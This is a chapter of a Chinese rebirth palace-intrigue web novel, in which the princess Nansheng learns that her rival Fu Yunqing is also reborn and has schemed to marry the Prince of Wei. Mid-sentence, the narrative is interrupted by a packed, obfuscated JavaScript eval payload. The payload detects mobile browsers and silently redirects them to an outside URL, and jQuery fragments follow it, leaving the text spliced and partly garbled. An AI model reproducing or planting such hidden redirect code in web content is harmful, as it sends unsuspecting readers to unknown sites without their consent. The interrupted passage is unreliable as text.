今日的洛水居,前所未有的热闹。
青鸾似乎并不知晓自己昨日经历过什么,正笑吟吟地在前头引路。
院儿里早有十几个丫鬟排成长龙,端着各种精美华贵的礼服与头冠,另有几箱玲琅满目的首饰放在门前,亦是一路列到了屋内女子青紫色的裙裾边。
“姑娘,殿下来了。”
傅云倾手里握着一枚镜子,转过头看了一眼,忽而一笑:“你来了,快坐。”
南笙见到这一幕,浑身汗毛竖立,有种难言的尴尬夹杂着未知的恐惧,反复蹂躏着她的心脏。
花楹亦是同样的心境。
因此,两人怔怔望着眼前光彩夺目的人,一时都没有动作。
“还愣着做什么,快来,青鸾,还不快看茶?”
紫衣裙摆划过地上用金玉堆砌成满的箱笼,似是一朵云,飘到两人眼前。
“快坐。”
她脸上堆着笑,似是起身没多久,两侧的发髻只是简单挽了上去,浓墨似的长发在身后自然垂下,虽然未施粉黛,脸上却透出一股子从未有过的明媚。
等南笙反应过来,她的手便已经攀了上来,若再推开,就是伸手去打笑脸人了,是以,南笙带着满肚子疑惑,默默坐下了。
花楹深怕傅云倾有什么后手,等南笙坐定,紧靠在她身边,隔开了傅云倾。
“傅女史双喜临门,实在可喜可贺,就是不知,魏王殿下许了你什么位分?”
花楹知晓主子不便开这口,纵然于礼不合,但还是说了。
傅云倾果然也是识人断事的能手,若是与一个丫鬟当真,反倒失了身份,因而并未搭话。
青鸾是个忠心护主的,此刻正满脸洋溢着喜庆,自然而然回道:“我们女史既已成了王府的姑娘,嫁过去,当然也是正经的王妃了。”
傅云倾这才对着南笙:“是不是很意外,我也没想到。”她语气轻柔的不像话:“王爷还说好事成双,叫我备上两份同等的嫁妆,等殿下出嫁那日,与你一同成婚。就是不知,殿下会不会在意?”
南笙脑海中一片空白,她料想过两人再次见面,免不了要翻起旧账,为昨夜之事纠缠,却怎么都没想到,这一切竟都让傅云倾如此心甘情愿。
就好像······就好像她全然知晓自己下一步会怎么做。
而这并非因为亲近才得以窥见彼此心事的预料,而是一种信手拈来,从上到下的全然掌控。
不对,不应该是这样的,她不该有这么大的能耐。
“傅云倾,你我之间,何须如此?”
南笙免不得一阵心惊,但也同样感到膈应,看不得一个本就满目疮痍的人,戴着更加奇怪扭曲的面具跟自己说话。
“怎么?殿下这是又要闹得满院的人都担惊受怕才够吗?”
傅云倾的声音不大不小,皆都入了门外丫鬟们的耳朵。
丫鬟们彼此相视,小声嘟囔起来:“真当自己是尊活菩萨,谁都要供着,傅女史那么体贴的人,都伺候不了她。”
她们素日并未见过南笙几次,只知道她是个娇弱又多事的,每次她一闹脾气,府里准有姐妹受到牵连,不是被责罚,就是直接赶出府门,失了存活的门路。
久而久之,她们面上不说,心里便已十分厌恨这个极难伺候,又名不副实的假公主了。
如今见傅云倾这般受王爷爱护,不但被收作义妹,还要被送去魏王府当王妃,便更觉得她是个有福之人,因而各个都向往着能追随于她。
“敢情又要闹上一阵了,只怕又觉得王爷偏心,善待了女史,便是苛待了自己,十八九岁的大姑娘,还是个宫里出来的千金贵体,如此不知体统,真是丢咱们南夏人的脸。”
“听说她也要嫁人?许给了什么沈侯爷?”
“哪儿是许的,分明是她自己爬墙硬贴上去的,这种做派,正经人家的姑娘想都想不出来,王爷是怕说出去太丢人,才不得不点了头······”
“你们说什么呢?”花楹在里面实在听不下去,冲了出来,娇小的面孔上,满是愤懑:“公主殿下也是你们能议论的,还懂不懂王府的规矩?”
见丫鬟们终于偃旗息鼓,南笙劝回花楹:“别管这些。”回头对傅云倾:“我倒忘了,傅女史最拿手的,就是蛊惑人心,只是不知,魏王殿下,是否也受得了你这样的蛊惑?”
南笙始终不明白,傅云倾看上魏王什么?
傅云倾抬了抬下巴,青鸾便将院儿里的人都打发出去了。
终于,傅云倾收了笑,那张端庄明媚的脸,果然渐渐回归到以往的平淡。
“公主可瞧见了,王爷早已为我挑好了婚服,就在那儿。”
南笙顺着她的目光看去,不远处的衣架上,的确陈列着以一件大红色喜服。
“你觉得我还会在意吗?傅云倾,谁为你挑婚服,谁愿意送你出嫁,不都是你心里一直牵绊着放不下的么,于我有何相干?”
南笙想到昨日是自己带她入了魏王的厢房,还是没忍住心虚,别过脸去。
“说来,我真得谢谢殿下的好意,若不是你们主仆俩帮我,魏王殿下可不会接受一个宫里的婢女就这样不明不白爬上他的床榻,你的那位皇叔,自然也不会想到让我叫他一声义兄。
江南笙,你终于如愿了,怎么样,开心吗?”
南笙一阵胆寒,望着傅云倾脸上轻快的笑,有种恍若隔世的错觉。
忽然,心里久久不能平静的念头突然冒了出来,再看向眼前的傅云倾依旧处变不惊的容色,南笙惊讶地问出那句:“你······你也重生了,对吗?”
她听到自己颤抖的声音。
前世的傅云倾,绝不会如此说起江湛,更不会在这种时候选择魏王。
唯一的解释,只能是······她也重生了······
“有赖上天怜悯,江南笙,你和我,现在没什么不一样了。”傅云倾顾盼神飞,竟早已知晓南笙此刻已是重归之人。
忽然,她挑了下眉:“不对,还是有不一样的,你不是要嫁给沈轻尘了么?你放心,江湛会同意的,往后,无论走到哪里,你可都得叫我一声‘表嫂’了。”
南笙怔在那里,两个丫鬟亦是一个心焦,一个得意,怒瞪着彼此,真心较量着。
“所以·····昨日之事,不但你知道,江湛亦已知晓?”
“都到这时候了,你不会还怕他会生你的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723477|173943||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气吧?我的公主殿下,你当真觉得他有那么在意你吗?”
他知道······昨日之事,是傅云倾跟他计划好的·······
南笙明白这是事实,但心里还是无可避免地生出一股地动山摇般的无措与震荡。
“殿下,要不咱们还是先回去吧。”
花楹见她脸色越来越差,担心地要扶她走。
“没事,别担心我。”南笙拍拍她的手背,定了定心神,深吸一口气。
“所以,冯玉入府一事,你从既白手里掉包了药膏,随后又让江湛误会我,让他觉得是我害死了娘娘,现如今,你又要借我的手,利用江湛,顺理成章成为魏王的王妃,你做这一切,到底为了什么?”
“我还能为什么?”傅云倾起身,脸上满是轻慢:“我当然跟你一样,都是为了自己啊。你不想被关在魏王府后宅,就攀上沈轻尘那个怂货,我自然要为自己挑个最如意的郎君才满意啊,很难理解吗?”
可这对南笙而言,的确匪夷所思。
“孙寒英是什么人,你不知道吗?你明明见过我在魏王府后宅的样子,你······”说到这里,南笙忽然顿住。前世傅云倾成为桓王妃,本该与江湛举案齐眉,到最后却与魏王勾连在一处,莫非她对江湛的真心,从一开始就是装出来的?
傅云倾见南笙这样,终于开怀大笑:“说下去啊,怎么不说了?”
那张好看的脸,又一次变得无比陌生。
“你在魏王府过的不好,那是因为你没本事,江南笙,无论从前还是现在,你都跟宸妃一样迂腐,像你们这样的软柿子,活该被人踩在脚底下欺负。
究竟要到什么时候你们才能明白,对待男人这种动物,女人真正要做的,从来都不是乖乖听话,而是要彻头彻尾的驯服。
魏王是匹烈马,而我,则是天生的驯马师,这天底下,也只有我,才有资格与他并肩。
你以为,我会把这样的天赐良机,让给你吗?”
“既如此,那你为何还要去思善堂,为何还要博得江湛的疼惜,你既不珍爱他,又为何要骗他?”
江湛为人底色纯净,对待感情的事,亦是谨慎,先王妃故去那么久,他都没走出来,这次又遭傅云倾如此算计,也不知何年何月才能重新放下。
傅云倾冷哼一声:“公主倒是真爱他,可如今不也要弃他而去,嫁给旁人了吗?”
顿了顿,她轻笑一声:“其实,你们之间如何,与我何干?我要的,从来只有嫁给魏王这一件事,我只是想让江湛顺利点头而已,若不如此,我又何来今日这桓王义妹的身份?
至于利用你·····这么些年来,我利用得还少吗?”
南笙只觉腹内一阵翻涌:“傅云倾,你当真不怕天打雷劈吗?早知如此,那日我就该不留有余地,我就该早点要了你的性命。”
南笙说的义愤填膺,站起身来怒视着。
而傅云倾,却是缓缓上前,一把推开面前的花楹,紧靠过来,死死盯住南笙的眼睛:“要我的命?你觉得此时此刻,江湛还会再信你吗?
我告诉你,他永远都不可能对我下手,哪怕你死在我的手里,他都不可能杀我,你信吗?”